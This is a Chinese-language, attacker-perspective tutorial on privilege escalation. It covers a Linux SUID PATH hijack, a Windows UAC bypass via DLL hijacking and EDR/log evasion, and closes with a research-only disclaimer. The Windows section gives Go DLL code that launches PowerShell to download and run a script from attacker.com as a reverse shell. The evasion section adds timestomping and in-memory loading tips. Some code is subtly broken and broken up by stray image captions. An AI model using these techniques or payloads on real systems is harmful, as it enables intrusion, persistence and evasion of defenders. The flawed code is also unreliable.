一、权限提升的魔法——从防御的盲点出发

权限提升是每个攻击者在渗透目标网络时绕不开的主题，也是防御者最难彻底封堵的安全风险。无论是企业内网还是个人系统，攻击者总能找到一条通往更高权限的路径。为什么？本质上，这源于系统复杂性和人性失误的互相叠加：配置的疏漏、漏洞的残留、以及用户对权限边界的忽视。作为攻击者，我们的任务就是将这些“盲点”化为突破点。

从防御角度来看，权限提升的根本目标是打破权限边界，拿到管理员或系统级别的访问能力。攻击者可能利用的手段包括但不限于：滥用高权限进程、劫持配置错误、利用已知或未知漏洞。本篇文章将以攻击者的视角，全面讲解常见的权限提升技术，并辅以真实环境下的实战步骤和代码实现。

---

二、环境搭建：打造一个适合练手的靶场

在理解权限提升技术之前，我们需要一个安全的测试环境。这里以一个简单的靶场为例，让你可以在虚拟机中练习各种技巧。

环境说明

  • 操作系统：Ubuntu 20.04（Linux）+ Windows 10（Windows）
  • 虚拟化工具：VirtualBox 或 VMware
  • 辅助工具：Python 3.x、Go 编译器、Metasploit

靶场配置

  1. Linux 靶机（Ubuntu 20.04）：
  • 安装低版本的软件包（如 sudo apt install -y vim=2:8.1.2269-1ubuntu5），故意引入漏洞。
  • 配置一个低权限用户供实验使用（如 lowpriv）。
  • 配置 SUID 位程序：chmod u+s /path/to/vulnerable_binary。
  1. Windows 靶机（Windows 10）：
  • 使用漏洞服务，如安装存在提权漏洞的老版软件（如 TeamViewer v10）。
  • 创建一个普通用户供测试使用。
  • 关闭 UAC （仅供实验，生产环境禁止！）。
  1. 攻击机：
  • Kali Linux 或 Parrot OS，安装常用工具（如 msfconsole、exploitdb）。
  • 安装 Go 编译器：sudo apt install golang。

---

三、从 SUID 到 ROOT：Linux 权限提升技巧

在 Linux 系统中，SUID（Set User ID）是导致权限提升的重灾区之一。它允许普通用户以文件拥有者的权限执行程序，而防御者在配置时如果疏忽，就可能为攻击者提供漏洞。

什么是 SUID

SUID 是文件权限的一种特殊位，通常用于让普通用户临时获得高权限。例如，系统中的 /usr/bin/passwd 程序就设置了 SUID 位，允许普通用户修改自己的密码。

<pre><code class="language-bash"># 查看 SUID 文件 find / -perm -u=s -type f 2&gt;/dev/null</code></pre>

SUID 提权实战

假设我们在靶机上发现了一个 SUID 文件 /tmp/suid-test：

  1. 查看权限：

    2. `bash ls -l /tmp/suid-test `

输出类似： ` -rwsr-xr-x 1 root root 12345 Sep 10 12:34 /tmp/suid-test `

注意到 s 表示 SUID 位被设置，文件是以 Root 用户身份运行的。

  1. 分析程序行为：

    2. 查看程序是否可被滥用，比如是否调用了系统命令： `bash strings /tmp/suid-test `

假设发现程序中调用了 /bin/bash。

  1. 攻击代码：

    2. 如果程序中未对环境变量进行验证，可以尝试通过伪造环境变量劫持执行流。以下是一个简单的 POC： `bash export PATH=/tmp:$PATH echo "/bin/bash" > /tmp/bash chmod +x /tmp/bash /tmp/suid-test `

成功后，你将拿到一个 Root Shell。

---

四、Windows 的漏洞天堂：UAC 绕过与令牌滥用

在 Windows 系统中，权限提升的重点在于绕过用户账户控制（UAC）和滥用特权令牌。这里以 UAC 绕过为例，展示如何利用系统的设计缺陷进行提权。

UAC 绕过原理

在某些 Windows 版本中，某些高权限的系统进程会调用用户可控的 DLL。如果攻击者在合适的位置放置恶意 DLL，则可以劫持这些进程的执行流。

实战操作

  1. 发现 DLL 劫持点：

    2. 使用工具 Process Monitor 捕获高权限进程的文件读取操作，寻找未找到的 DLL： ` Procmon -> Filter -> Path contains ".dll" -> Result is "NAME NOT FOUND" `

  1. 创建恶意 DLL：

    2. 使用 Go 编写一个简单的 DLL，执行反向 Shell： `go package main

黑客示意图

import "C" import ( "os/exec" )

黑客示意图

//export DllMain func DllMain() { cmd := exec.Command("cmd.exe", "/c", "start powershell.exe -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\"") cmd.Run() } `

编译 DLL： `bash go build -o exploit.dll -buildmode=c-shared exploit.go `

  1. 放置 DLL 并触发：

    2. 将 exploit.dll 放到目标路径，等待高权限进程加载。

---

五、反侦察：如何绕过 EDR 和日志系统

在实际攻击中，提权操作很可能被 EDR（终端防护系统）监控到。这里介绍几种常见的反侦察技巧：

  1. 内存加载恶意程序：

    2. 使用工具如 reflective DLL injection，将恶意代码直接加载到内存中，避免写入磁盘。

  1. 流量伪装：

    2. 使用加密通信工具（如 HTTPS 或 DNS 隧道）隐藏数据传输。

  1. 伪造时间戳：

    2. 修改文件时间戳，使其看起来像系统文件： `bash touch -r /bin/ls exploit_binary `

---

六、攻防对抗中的经验总结

  1. 信息收集决定一切：

    2. 在提权之前，一定要详细了解目标系统的配置、漏洞和运行的进程。

黑客示意图

  1. 脚本化操作：

    2. 尽量将攻击流程脚本化，以便快速复现。

  1. 保持隐蔽性：

    2. 提权过程中要尽量避免触发报警，尤其是在企业内网中。

  1. 绝不轻敌：

    2. 防御者可能已经设置了陷阱，攻击者需要时刻保持警惕。

---

本篇文章仅供安全研究和授权测试使用，请勿用于非法目的。所有实验均需在合法环境下进行。